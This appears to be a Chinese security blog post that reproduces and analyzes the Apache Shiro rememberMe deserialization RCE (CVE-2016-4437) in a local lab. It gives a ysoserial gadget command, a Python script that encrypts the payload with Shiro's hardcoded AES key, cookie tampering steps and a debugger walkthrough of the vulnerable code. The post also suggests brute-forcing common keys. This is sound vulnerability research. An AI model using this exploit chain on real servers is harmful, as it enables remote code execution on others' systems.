rememberMe!经典shrio550漏洞复现及分析

admin 2024年2月16日00:45:01评论10 views字数 2661阅读8分52秒阅读模式

漏洞原理

Apache Shiro框架提供了记住密码的功能(rememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞,漏洞编号CVE-2016-4437。

影响版本

Apache Shiro < 1.2.4

指纹特征

返回包中包含rememberMe=deleteMe字段

环境搭建(IDEA)

shiro:https://codeload.github.com/apache/shiro/zip/refs/tags/shiro-root-1.2.4

tomcat:https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.80/bin/apache-tomcat-9.0.80.zip

修改shiro-shiro-root-1.2.4samplesweb路径下pom.xml文件第71行插入<version>1.2</version>,如下:

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>

jdk环境设置为jdk1.8:

rememberMe!经典shrio550漏洞复现及分析

在项目中加入tomcat:

rememberMe!经典shrio550漏洞复现及分析
rememberMe!经典shrio550漏洞复现及分析

如果以上配置都完成了,编译执行后的web页面状态码显示500,那就把shiro-shiro-root-1.2.4sampleswebtarget路径下的samples-web-1.2.4.war替换掉。

漏洞复现

生成序列化文件

ysoserial:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6

利用ysoserial工具,在cmd中执行java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils183NOCC " calc"生成out.ser序列化文件

rememberMe!经典shrio550漏洞复现及分析

对key进行编码

通过encode.pykey进行编码,key与源码一致,out.ser文件与encode.py文件放在同一目录,如果没有源码,在github上找常用key文件爆破试试运气

encode.py

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def get_file(name):
    with open(name**,**'rb') as f:
        data = f.read()
    return data

def en_aes(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key**,** AES.MODE_CBC**,** iv)
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return base64_ciphertext

if __name__ == '__main__':
    data = get_file("out.ser")
    print(en_aes(data))

cmd中执行python encode.py得到编码后的key

rememberMe!经典shrio550漏洞复现及分析

抓包改包

对网站进行抓包,修改Cookie字段(实现命令执行弹出计算器)

原包:

rememberMe!经典shrio550漏洞复现及分析

改包后:

rememberMe!经典shrio550漏洞复现及分析

发包,成功弹出计算器:

rememberMe!经典shrio550漏洞复现及分析

漏洞分析

根据官方https://issues.apache.org/jira/browse/SHIRO-550 描述,以下4点很重要:

  • • 检索rememberMe的cookie

  • • base64解码

  • • AES解密

  • • 使用ObjectInputStream进行反序列化

调试

ctrl+n键全局搜索rememberMe,发现CookieRememberMeManager类:

rememberMe!经典shrio550漏洞复现及分析

看到rememberSerializedIdentity方法,该方法使用Base64对指定的序列化字节数组进行编码,并将Base64编码的字符串设置为cookie值:

rememberMe!经典shrio550漏洞复现及分析

跟进方法发现,对rememberMe的加解密操作,都在其父类AbstractRememberMeManager中的encrypt()/decrypt()中进行,且在AbstractRememberMeManager类中发现了硬编码的AES密钥,其base64编码形式为:kPH+bIxk5D2deZiIxcaaaA==

rememberMe!经典shrio550漏洞复现及分析
rememberMe!经典shrio550漏洞复现及分析

decrypt()方法下断点,网页端登录,查看函数回溯,发现是先在CookieRememberMeManager#getRememberedSerializedIdentity()获取cookie中的rememberMe字段的值,并进行base64解码。

rememberMe!经典shrio550漏洞复现及分析
rememberMe!经典shrio550漏洞复现及分析

然后再传入到AbstractRememberMeManager#convertBytesToPrincipals()方法,该方法会调用AbstractRememberMeManager#decrypt()执行AES解密操作。

rememberMe!经典shrio550漏洞复现及分析
rememberMe!经典shrio550漏洞复现及分析

解密完成后,调用AbstractRememberMeManager#deserialize()执行反序列化操作。

再跟进AbstractRememberMeManager#deserialize(),发现会调用DefaultSerializer#deserialize(),继续跟进发现,看到了熟悉的readObject()方法。

rememberMe!经典shrio550漏洞复现及分析

强调一下:反序列化(deserialize)是把字节流还原成对象,调用ObjectInputStream类的readObject()方法。

欢迎关注不懂安全⬇️

半山腰总是最挤的,你得去山顶看看

原文始发于微信公众号(不懂安全):rememberMe!经典shrio550漏洞复现及分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月16日00:45:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   rememberMe!经典shrio550漏洞复现及分析https://cn-sec.com/archives/2162551.html

发表评论

匿名网友 填写信息